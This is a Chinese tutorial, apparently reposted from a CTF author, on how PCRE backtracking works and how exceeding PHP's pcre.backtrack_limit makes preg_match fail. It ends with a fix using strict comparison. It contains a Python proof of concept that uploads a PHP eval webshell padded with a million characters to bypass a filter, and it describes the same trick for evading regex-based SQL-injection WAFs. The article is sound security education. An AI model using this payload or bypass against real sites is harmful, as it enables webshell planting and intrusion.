这篇文章将为大家详细讲解有关“PCRE回溯的过程是怎样的，如何对次数限制”的知识，小编觉得挺实用的，因此分享给大家做个参考，希望大家阅读完这篇文章后可以有所收获。

这次Code-Breaking Puzzles中我出了一道看似很简单的题目，将其代码简化如下：

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
if(!is_php($input)) {
    // fwrite($f, $input); ...
}

大意是判断一下用户输入的内容有没有PHP代码，如果没有，则写入文件。这种时候，如何绕过is_php()函数来写入webshell呢？

这道题看似简单，深究其原理，还是值得写一篇文章的。

正则表达式是什么

正则表达式是一个可以被“有限状态自动机”接受的语言类。

“有限状态自动机”，其拥有有限数量的状态，每个状态可以迁移到零个或多个状态，输入字串决定执行哪个状态的迁移。

而常见的正则引擎，又被细分为DFA（确定性有限状态自动机）与NFA（非确定性有限状态自动机）。他们匹配输入的过程分别是：

• DFA: 从起始状态开始，一个字符一个字符地读取输入串，并根据正则来一步步确定至下一个转移状态，直到匹配不上或走完整个输入
• NFA：从起始状态开始，一个字符一个字符地读取输入串，并与正则表达式进行匹配，如果匹配不上，则进行回溯，尝试其他状态

由于NFA的执行过程存在回溯，所以其性能会劣于DFA，但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎，其中也包括PHP使用的PCRE库。

回溯的过程是怎样的

所以，我们题目中的正则<\?.*[(`;?>].*，假设匹配的输入是<?php phpinfo();//aaaaa，实际执行流程是这样的：

见上图，可见第4步的时候，因为第一个.*可以匹配任何字符，所以最终匹配到了输入串的结尾，也就是//aaaaa。但此时显然是不对的，因为正则显示.*后面还应该有一个字符[(`;?>]。

所以NFA就开始回溯，先吐出一个a，输入变成第5步显示的//aaaa，但仍然匹配不上正则，继续吐出a，变成//aaa，仍然匹配不上……

最终直到吐出;，输入变成第12步显示的<?php phpinfo()，此时，.*匹配的是php phpinfo()，而后面的;则匹配上[(`;?>]，这个结果满足正则表达式的要求，于是不再回溯。13步开始向后匹配;，14步匹配.*，第二个.*匹配到了字符串末尾，最后结束匹配。

在调试正则表达式的时候，我们可以查看当前回溯的次数：

这里回溯了8次。

PHP的pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击（reDOS），给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限：

这里有个有趣的事情，就是PHP文档中，中英文版本的数值是不一样的：

我们应该以英文版为参考。

可见，回溯次数上限默认是100万。那么，假设我们的回溯次数超过了100万，会出现什么现象呢？比如：

可见，preg_match返回的非1和0，而是false。

preg_match函数返回false表示此次执行失败了，我们可以调用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);发现失败的原因的确是回溯次数超出了限制：

所以，这道题的答案就呼之欲出了。我们通过发送超长字符串的方式，使正则执行失败，最后绕过目标对PHP语言的限制。

对应的POC如下：

import requests
from io import BytesIO
files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

PCRE另一种错误的用法

延伸一下，很多基于PHP的WAF，如：

if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('SQL Injection');
}

均存在上述问题，通过大量回溯可以进行绕过。

另外，我遇到更常见的一种WAF是：

if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}

这里涉及到了正则表达式的“非贪婪模式”。在NFA中，如果我输入UNION/*aaaaa*/SELECT，这个正则表达式执行流程如下：

• .+?匹配到/
• 因为非贪婪模式，所以.+?停止匹配，而由S匹配*
• S匹配*失败，回溯，再由.+?匹配*
• 因为非贪婪模式，所以.+?停止匹配，而由S匹配a
• S匹配a失败，回溯，再由.+?匹配a
• ...

回溯次数随着a的数量增加而增加。所以，我们仍然可以通过发送大量a，来使回溯次数超出pcre.backtrack_limit限制，进而绕过WAF：

修复方法

那么，如何修复这个问题呢？

其实如果我们仔细观察PHP文档，是可以看到preg_match函数下面的警告的：

如果用preg_match对字符串进行匹配，一定要使用===全等号来判断返回值，如：

function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}
if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

这样，即使正则执行失败返回false，也不会进入if语句。

感谢各位的阅读，以上就是“PCRE回溯的过程是怎样的，如何对次数限制”的内容了，经过本文的学习后，相信大家对PCRE回溯的过程是怎样的，如何对次数限制都有更深刻的体会了吧。这里是群英网络，小编将为大家推送更多相关知识点的文章，欢迎关注！

免责声明：本站发布的内容（图片、视频和文字）以原创、转载和分享为主，文章观点不代表本网站立场，如果涉及侵权请联系站长邮箱：mmqy2019@163.com进行举报，并提供相关证据，查实之后，将立刻删除涉嫌侵权内容。

猜你喜欢

• ThinkPHP中route路由是什么，为何要用路由

  在thinkphp中，route路由的作用就是简化URL访问地址，并且根据定义的路由类型做出正确的解析，路由的目的就是为了简化路径，在简化路径的同时进行一些规则的定义。

• Python递归遍历的实现及代码是什么

  php递归遍历文件夹：1、定义函数，判断是否为目录。2、如果是目录，则打开目录,返回目录句柄。3、循环从目录句柄中开始读取。4、判断读取的文件名是否为目录，如果是目录，则开始递归。

• PHP7的执行过程是怎样子的，步骤包括哪些

  PHP 是解释型语言，其执行过程需先编译成中间代码，再经由特定的虚拟机，翻译成特定的指令被执行。其执行过程如下：PHP 代码 => Token => 抽象语法树 => Opcodes => 执行。

• PHP读取文件乱码情况如何解决，方法有哪些

  本文实例讲述了PHP读取文件,解决中文乱码UTF-8的方法。分享给大家供大家参考，具体如下：

• PHP中crypt()函数定义和用法是什么，具体如何应用

  今天小编就为大家分享一篇关于PHP crypt()函数的用法讲解，小编觉得内容挺不错的，现在分享给大家，具有很好的参考价值，需要的朋友一起跟随小编来看看吧